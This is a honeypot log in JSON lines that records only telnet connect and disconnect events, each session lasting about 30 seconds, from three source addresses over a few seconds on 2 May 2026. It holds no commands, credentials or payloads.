{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47164,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca0957de9ce","protocol":"telnet","message":"New connection: 199.231.212.75:47164 (10.17.0.5:23) [session: 5ca0957de9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:42.048280Z"}
{"eventid":"cowrie.session.closed","duration":30.74420714378357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:42.082407Z","src_ip":"86.120.107.100","session":"58f2d5ead1f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092878818511963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:42.322593Z","src_ip":"199.231.212.75","session":"baa6d12a87cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030783891677856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:42.434614Z","src_ip":"164.68.122.45","session":"f5b6bcb18a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47170,"dst_ip":"10.17.0.5","dst_port":23,"session":"00acfb729b7a","protocol":"telnet","message":"New connection: 199.231.212.75:47170 (10.17.0.5:23) [session: 00acfb729b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:42.443039Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39692,"dst_ip":"10.17.0.5","dst_port":23,"session":"31da9ba3b860","protocol":"telnet","message":"New connection: 164.68.122.45:39692 (10.17.0.5:23) [session: 31da9ba3b860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:42.595079Z"}
{"eventid":"cowrie.session.closed","duration":31.099236249923706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:42.744588Z","src_ip":"164.68.122.45","session":"f95c661b55b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47174,"dst_ip":"10.17.0.5","dst_port":23,"session":"d475f1f18bf7","protocol":"telnet","message":"New connection: 199.231.212.75:47174 (10.17.0.5:23) [session: d475f1f18bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:42.858401Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39696,"dst_ip":"10.17.0.5","dst_port":23,"session":"289fe399f7d4","protocol":"telnet","message":"New connection: 164.68.122.45:39696 (10.17.0.5:23) [session: 289fe399f7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:43.310549Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":48294,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ed8cc258a0f","protocol":"telnet","message":"New connection: 86.120.107.100:48294 (10.17.0.5:23) [session: 7ed8cc258a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:43.345171Z"}
{"eventid":"cowrie.session.closed","duration":31.994462728500366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:43.941308Z","src_ip":"164.68.122.45","session":"296134627dd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58119821548462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.051569Z","src_ip":"164.68.122.45","session":"32e5e6edff7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39706,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e839eb4660","protocol":"telnet","message":"New connection: 164.68.122.45:39706 (10.17.0.5:23) [session: 13e839eb4660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.067965Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39708,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcfbe762acf4","protocol":"telnet","message":"New connection: 164.68.122.45:39708 (10.17.0.5:23) [session: dcfbe762acf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.356365Z"}
{"eventid":"cowrie.session.closed","duration":31.13068199157715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.368559Z","src_ip":"199.231.212.75","session":"a44646798688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47184,"dst_ip":"10.17.0.5","dst_port":23,"session":"19a29268f46f","protocol":"telnet","message":"New connection: 199.231.212.75:47184 (10.17.0.5:23) [session: 19a29268f46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.454628Z"}
{"eventid":"cowrie.session.closed","duration":31.52392601966858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.529392Z","src_ip":"199.231.212.75","session":"28730082feec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39712,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99bb856a460","protocol":"telnet","message":"New connection: 164.68.122.45:39712 (10.17.0.5:23) [session: f99bb856a460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.536522Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39718,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7e7bc88d8d","protocol":"telnet","message":"New connection: 164.68.122.45:39718 (10.17.0.5:23) [session: 8e7e7bc88d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.540245Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47200,"dst_ip":"10.17.0.5","dst_port":23,"session":"799869e7cd7f","protocol":"telnet","message":"New connection: 199.231.212.75:47200 (10.17.0.5:23) [session: 799869e7cd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:44.662688Z"}
{"eventid":"cowrie.session.closed","duration":30.858983993530273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:45.192382Z","src_ip":"164.68.122.45","session":"c8c9ef6f89bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39732,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e9978de731","protocol":"telnet","message":"New connection: 164.68.122.45:39732 (10.17.0.5:23) [session: 14e9978de731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:45.230263Z"}
{"eventid":"cowrie.session.closed","duration":30.520772218704224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:45.381728Z","src_ip":"199.231.212.75","session":"55b4a1a4b580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.326168060302734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:45.462505Z","src_ip":"164.68.122.45","session":"3620ce4006ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47208,"dst_ip":"10.17.0.5","dst_port":23,"session":"744bf0621da2","protocol":"telnet","message":"New connection: 199.231.212.75:47208 (10.17.0.5:23) [session: 744bf0621da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:45.567728Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47214,"dst_ip":"10.17.0.5","dst_port":23,"session":"4196c9ba5e40","protocol":"telnet","message":"New connection: 199.231.212.75:47214 (10.17.0.5:23) [session: 4196c9ba5e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:45.692231Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39740,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1787ea9177a","protocol":"telnet","message":"New connection: 164.68.122.45:39740 (10.17.0.5:23) [session: d1787ea9177a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:45.710824Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47218,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece8ddede475","protocol":"telnet","message":"New connection: 199.231.212.75:47218 (10.17.0.5:23) [session: ece8ddede475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:45.892051Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47232,"dst_ip":"10.17.0.5","dst_port":23,"session":"8569406ca6e0","protocol":"telnet","message":"New connection: 199.231.212.75:47232 (10.17.0.5:23) [session: 8569406ca6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.040191Z"}
{"eventid":"cowrie.session.closed","duration":30.244722843170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.055495Z","src_ip":"164.68.122.45","session":"4686d3730559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.468027114868164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.158659Z","src_ip":"164.68.122.45","session":"c6e6833ac9d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39752,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffcbfc852d2d","protocol":"telnet","message":"New connection: 164.68.122.45:39752 (10.17.0.5:23) [session: ffcbfc852d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.389518Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39754,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e47171c67dc","protocol":"telnet","message":"New connection: 164.68.122.45:39754 (10.17.0.5:23) [session: 0e47171c67dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.519227Z"}
{"eventid":"cowrie.session.closed","duration":31.364731311798096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.566978Z","src_ip":"164.68.122.45","session":"d61af6d09783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39760,"dst_ip":"10.17.0.5","dst_port":23,"session":"7085b74779c0","protocol":"telnet","message":"New connection: 164.68.122.45:39760 (10.17.0.5:23) [session: 7085b74779c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.595120Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47242,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b73fecd84f8","protocol":"telnet","message":"New connection: 199.231.212.75:47242 (10.17.0.5:23) [session: 7b73fecd84f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.600644Z"}
{"eventid":"cowrie.session.closed","duration":31.803711414337158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.812848Z","src_ip":"199.231.212.75","session":"191a5782a52e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113231420516968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:46.946126Z","src_ip":"164.68.122.45","session":"da2a47183e4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.472400426864624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:47.003211Z","src_ip":"199.231.212.75","session":"fbd5704ca87c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46541404724121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:47.076271Z","src_ip":"199.231.212.75","session":"87045de59827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47250,"dst_ip":"10.17.0.5","dst_port":23,"session":"234f0921fe0b","protocol":"telnet","message":"New connection: 199.231.212.75:47250 (10.17.0.5:23) [session: 234f0921fe0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:47.120526Z"}
{"eventid":"cowrie.session.closed","duration":30.619670629501343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:47.253566Z","src_ip":"199.231.212.75","session":"53fea96a665b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47260,"dst_ip":"10.17.0.5","dst_port":23,"session":"362c1918c17e","protocol":"telnet","message":"New connection: 199.231.212.75:47260 (10.17.0.5:23) [session: 362c1918c17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:47.441555Z"}
{"eventid":"cowrie.session.closed","duration":31.290199518203735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:47.534677Z","src_ip":"199.231.212.75","session":"23a03ac53558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39776,"dst_ip":"10.17.0.5","dst_port":23,"session":"b28753f82e12","protocol":"telnet","message":"New connection: 164.68.122.45:39776 (10.17.0.5:23) [session: b28753f82e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:47.842432Z"}
{"eventid":"cowrie.session.closed","duration":31.2823965549469,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:47.933918Z","src_ip":"86.120.107.100","session":"50efd5bb29ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07451415061951,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:48.032368Z","src_ip":"164.68.122.45","session":"fb8359268f3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39778,"dst_ip":"10.17.0.5","dst_port":23,"session":"8909602b020f","protocol":"telnet","message":"New connection: 164.68.122.45:39778 (10.17.0.5:23) [session: 8909602b020f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:48.099021Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47276,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6346748812a","protocol":"telnet","message":"New connection: 199.231.212.75:47276 (10.17.0.5:23) [session: f6346748812a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:48.280618Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47278,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e18e38e3c14","protocol":"telnet","message":"New connection: 199.231.212.75:47278 (10.17.0.5:23) [session: 4e18e38e3c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:48.525914Z"}
{"eventid":"cowrie.session.closed","duration":31.27897310256958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:48.847337Z","src_ip":"86.120.107.100","session":"ceb5e4661a79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":46352,"dst_ip":"10.17.0.5","dst_port":23,"session":"972572770f89","protocol":"telnet","message":"New connection: 86.120.107.100:46352 (10.17.0.5:23) [session: 972572770f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:48.869456Z"}
{"eventid":"cowrie.session.closed","duration":30.90963363647461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:49.084140Z","src_ip":"199.231.212.75","session":"aef0a6357038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861193656921387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:49.106486Z","src_ip":"199.231.212.75","session":"3ddbff17a65a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838470458984375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:49.154368Z","src_ip":"86.120.107.100","session":"0184881c3bdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47286,"dst_ip":"10.17.0.5","dst_port":23,"session":"f959b6408bf4","protocol":"telnet","message":"New connection: 199.231.212.75:47286 (10.17.0.5:23) [session: f959b6408bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:49.267821Z"}
{"eventid":"cowrie.session.closed","duration":31.045687198638916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:49.356643Z","src_ip":"199.231.212.75","session":"8fc36503d85f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724075317382812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:49.694632Z","src_ip":"199.231.212.75","session":"7e12b55b1673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47296,"dst_ip":"10.17.0.5","dst_port":23,"session":"03697f5bd266","protocol":"telnet","message":"New connection: 199.231.212.75:47296 (10.17.0.5:23) [session: 03697f5bd266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:49.819232Z"}
{"eventid":"cowrie.session.closed","duration":31.145244359970093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:49.983582Z","src_ip":"164.68.122.45","session":"e0bae0234cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32494807243347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.015389Z","src_ip":"199.231.212.75","session":"a3485e146f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.477813482284546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.026936Z","src_ip":"199.231.212.75","session":"5caa2c14cd19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688616037368774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.049960Z","src_ip":"164.68.122.45","session":"8561ff8959ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52570,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d3c065152ed","protocol":"telnet","message":"New connection: 164.68.122.45:52570 (10.17.0.5:23) [session: 9d3c065152ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.228476Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52582,"dst_ip":"10.17.0.5","dst_port":23,"session":"82503bc5bb92","protocol":"telnet","message":"New connection: 164.68.122.45:52582 (10.17.0.5:23) [session: 82503bc5bb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.521594Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59762,"dst_ip":"10.17.0.5","dst_port":23,"session":"aebdd2eabc60","protocol":"telnet","message":"New connection: 199.231.212.75:59762 (10.17.0.5:23) [session: aebdd2eabc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.526966Z"}
{"eventid":"cowrie.session.closed","duration":30.810044527053833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.546698Z","src_ip":"164.68.122.45","session":"89e7aa195ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4682834148407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.552441Z","src_ip":"199.231.212.75","session":"1350ceab3233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52594,"dst_ip":"10.17.0.5","dst_port":23,"session":"441a29b54e39","protocol":"telnet","message":"New connection: 164.68.122.45:52594 (10.17.0.5:23) [session: 441a29b54e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.613380Z"}
{"eventid":"cowrie.session.closed","duration":30.77949571609497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:50.693183Z","src_ip":"199.231.212.75","session":"da223f87aaa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.380359411239624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:51.066634Z","src_ip":"164.68.122.45","session":"40078c083eb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634931087493896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:51.176252Z","src_ip":"164.68.122.45","session":"e77f071877b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540801763534546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:51.337672Z","src_ip":"199.231.212.75","session":"612833ce4133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282538414001465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:51.394093Z","src_ip":"199.231.212.75","session":"e1256932bd57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37240767478943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:51.478839Z","src_ip":"199.231.212.75","session":"97dc0c584c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59764,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdfdb5a65db1","protocol":"telnet","message":"New connection: 199.231.212.75:59764 (10.17.0.5:23) [session: fdfdb5a65db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:51.525381Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59770,"dst_ip":"10.17.0.5","dst_port":23,"session":"78def52e8bd7","protocol":"telnet","message":"New connection: 199.231.212.75:59770 (10.17.0.5:23) [session: 78def52e8bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:51.570073Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52604,"dst_ip":"10.17.0.5","dst_port":23,"session":"081f0f5b5f95","protocol":"telnet","message":"New connection: 164.68.122.45:52604 (10.17.0.5:23) [session: 081f0f5b5f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:51.655504Z"}
{"eventid":"cowrie.session.closed","duration":30.907698392868042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:52.199119Z","src_ip":"164.68.122.45","session":"ed7ef096b042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52620,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9dbd41b517","protocol":"telnet","message":"New connection: 164.68.122.45:52620 (10.17.0.5:23) [session: ce9dbd41b517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:52.443525Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59772,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e1b6e2c993e","protocol":"telnet","message":"New connection: 199.231.212.75:59772 (10.17.0.5:23) [session: 7e1b6e2c993e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:52.473569Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52622,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc636cf96c5","protocol":"telnet","message":"New connection: 164.68.122.45:52622 (10.17.0.5:23) [session: 4fc636cf96c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:52.481496Z"}
